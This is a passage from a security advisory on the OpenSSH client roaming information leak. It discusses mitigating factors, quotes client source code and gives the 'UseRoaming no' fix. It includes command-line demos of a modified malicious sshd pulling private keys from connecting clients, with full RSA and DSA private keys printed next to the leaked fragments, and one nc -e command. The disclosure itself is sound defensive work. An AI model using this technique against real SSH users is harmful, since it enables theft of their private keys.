issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources\n\nhttps://cwe.mitre.org/data/definitions/244.html\n\n3. An OpenSSH growing-buffer that holds a private key is eventually\nfreed by buffer_free() (old API) or sshbuf_free() (new API), and both\nfunctions attempt to cleanse the buffer with memset() or bzero() before\nthey call free(). Unfortunately, an optimizing compiler may remove this\nmemset() or bzero() call, because the buffer is written to, but never\nagain read from (an optimization known as Dead Store Elimination). \n\nOpenSSH 6.6 is the only version that is not affected, because it calls\nexplicit_bzero() instead of memset() or bzero(). \n\nDead Store Elimination is the least severe of the three problems\nexplored in this section, because older GCC versions do not remove the\nmemset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5\nand Clang/LLVM do, however, remove it. For detailed discussions of this\nissue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations\n\nhttps://cwe.mitre.org/data/definitions/14.html\n\nhttps://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506\n\nFinally, for these three reasons, passphrase-encrypted SSH keys are\nleaked in their encrypted form, but an attacker may attempt to crack the\npassphrase offline. On the other hand, SSH keys that are available only\nthrough an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the\nundocumented option \"UseRoaming no\" to the system-wide configuration\nfile (usually /etc/ssh/ssh_config), or per-user configuration file\n(~/.ssh/config), or command-line (-o \"UseRoaming no\"). \n\n2. If an OpenSSH client is disconnected from an SSH server that offers\nroaming, it prints \"[connection suspended, press return to resume]\" on\nstderr, and waits for \u0027\\n\u0027 or \u0027\\r\u0027 on stdin (and not on the controlling\nterminal) before it reconnects to the server; advanced users may become\nsuspicious and press Control-C or Control-Z instead, thus avoiding the\ninformation leak:\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume]^Z\n[1]+  Stopped                 /usr/bin/ssh -p 222 127.0.0.1\n\nHowever, SSH commands that use the local stdin to transfer data to the\nremote server are bound to trigger this reconnection automatically (upon\nreading a \u0027\\n\u0027 or \u0027\\r\u0027 from stdin). Moreover, these non-interactive SSH\ncommands (for example, backup scripts and cron jobs) commonly employ\npublic-key authentication and are therefore perfect targets for this\ninformation leak:\n\n$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.ls\"\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.tar\"\ntar: Removing leading `/\u0027 from member names\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n... \n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\nSimilarly, the SCP client uses the SSH client\u0027s stdin and stdout to\ntransfer data, and can be forced by a malicious SSH server to output a\ncontrol record that ends in \u0027\\n\u0027 (an error message in server-to-client\nmode, or file permissions in client-to-server mode); this \u0027\\n\u0027 is then\nread from stdin by the fgetc() call in wait_for_roaming_reconnect(), and\ntriggers an automatic reconnection that allows the information leak to\nbe exploited without user interaction:\n\n# env ROAMING=\"scp_mode sleep:1\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp\n$ [connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\nlost connection\n\n3. Although a man-in-the-middle attacker can reset the TCP connection\nbetween an OpenSSH client and an OpenSSH server (which does not support\nroaming), it cannot exploit the information leak without breaking server\nhost authentication or integrity protection, because it needs to:\n\n- first, append the \"resume@appgate.com\" algorithm name to the server\u0027s\n  initial key exchange message;\n\n- second, in response to the client\u0027s \"roaming@appgate.com\" request,\n  change the server\u0027s reply from failure to success. \n\nIn conclusion, an attacker who wishes to exploit this information leak\nmust convince its target OpenSSH client to connect to a malicious server\n(an unlikely scenario), or compromise a trusted server (a more likely\nscenario, for a determined attacker). \n\n4. In the client, wait_for_roaming_reconnect()\ncalls ssh_connect(), the same function that successfully established the\nfirst connection to the server; this function supports four different\nconnection methods, but each method contains a bug and may fail to\nestablish a second connection to the server:\n\n- In OpenSSH \u003e= 6.5 (released on January 30, 2014), the default\n  ssh_connect_direct() method (a simple TCP connection) is called by\n  wait_for_roaming_reconnect() with a NULL aitop argument, which makes\n  it impossible for the client to reconnect to the server:\n\n 418 static int\n 419 ssh_connect_direct(const char *host, struct addrinfo *aitop,\n ... \n 424         int sock = -1, attempt;\n 425         char ntop[NI_MAXHOST], strport[NI_MAXSERV];\n ... \n 430         for (attempt = 0; attempt \u003c connection_attempts; attempt++) {\n ... \n 440                 for (ai = aitop; ai; ai = ai-\u003eai_next) {\n ... \n 470                 }\n 471                 if (sock != -1)\n 472                         break;  /* Successful connection. */\n 473         }\n 474\n 475         /* Return failure if we didn\u0027t get a successful connection. */\n 476         if (sock == -1) {\n 477                 error(\"ssh: connect to host %s port %s: %s\",\n 478                     host, strport, strerror(errno));\n 479                 return (-1);\n 480         }\n\n  Incidentally, this error() call displays stack memory from the\n  uninitialized strport[] array, a byproduct of the NULL aitop:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n\n- The special ProxyCommand \"-\" communicates with the server through the\n  client\u0027s stdin and stdout, but these file descriptors are close()d by\n  packet_backup_state() at the beginning of wait_for_roaming_reconnect()\n  and are never reopened again, making it impossible for the client to\n  reconnect to the server. Moreover, the fgetc() that waits for \u0027\\n\u0027 or\n  \u0027\\r\u0027 on the closed stdin returns EOF and forces the client to exit():\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/nc -e \"/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1\" 127.0.0.1 222\nPseudo-terminal will not be allocated because stdin is not a terminal. \nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that\n  passes a connected file descriptor back to the client, but it calls\n  fatal() while reconnecting to the server, because waitpid() returns\n  ECHILD; indeed, the SIGCHLD handler (installed by SSH\u0027s main() after\n  the first successful connection to the server) calls waitpid() before\n  ssh_proxy_fdpass_connect() does:\n\n1782 static void\n1783 main_sigchld_handler(int sig)\n1784 {\n.... \n1789         while ((pid = waitpid(-1, \u0026status, WNOHANG)) \u003e 0 ||\n1790             (pid \u003c 0 \u0026\u0026 errno == EINTR))\n1791                 ;\n1792\n1793         signal(sig, main_sigchld_handler);\n.... \n1795 }\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103     const char *proxy_command)\n 104 {\n ... \n 121         /* Fork and execute the proxy command. */\n 122         if ((pid = fork()) == 0) {\n ... \n 157         }\n 158         /* Parent. */\n ... \n 167         while (waitpid(pid, NULL, 0) == -1)\n 168                 if (errno != EINTR)\n 169                         fatal(\"Couldn\u0027t wait for child: %s\", strerror(errno));\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015\n\n$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand=\"/usr/bin/nc -F %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Couldn\u0027t wait for child: No child processes\n\n- The method ssh_proxy_connect() fork()s a standard ProxyCommand that\n  connects the client to the server, but if a disconnection occurs, and\n  the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is\n  waiting for a \u0027\\n\u0027 or \u0027\\r\u0027 on stdin, EOF is returned (the underlying\n  read() returns EINTR) and the client exit()s before it can reconnect\n  to the server:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh -o ProxyCommand=\"/bin/nc %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n  This behavior is intriguing, because (at least on Linux and BSD) the\n  signal() call that installed the main_sigchld_handler() is supposed to\n  be equivalent to a sigaction() call with SA_RESTART. However, portable\n  versions of OpenSSH override signal() with mysignal(), a function that\n  calls sigaction() without SA_RESTART. \n\n  This last mitigating factor is actually a race-condition bug that\n  depends on the ProxyCommand itself: for example, the client never\n  fails to reconnect to the server when using Socat as a ProxyCommand,\n  but fails occasionally when using Netcat. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\nvOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi\n/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE\nK+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr\n+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n\nUxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7\nqsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11\n1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV\npmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:1280\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-97ed9f59/infoleak\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:768\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-9448bb7f/infoleak\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\n... \n\n# env ROAMING=\"client_out_buf_size:1024\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-279f5e2b/infoleak\n... \niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n... \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:2048\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-35ee7ab0/infoleak\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-6cb31d82/infoleak\n... \nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015\n\n$ /usr/bin/ssh -V\nOpenSSH_7.0, LibreSSL 2.2.2\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL\nruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s\n17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8\nL/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh\nxSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP\nvavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl\nJka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP\nKyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19\nqJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY\ngQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK\nQolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt\ngKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL\ncQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB\n+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl\nhcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri\nhBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh\nvhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O\nnFNWjEkRL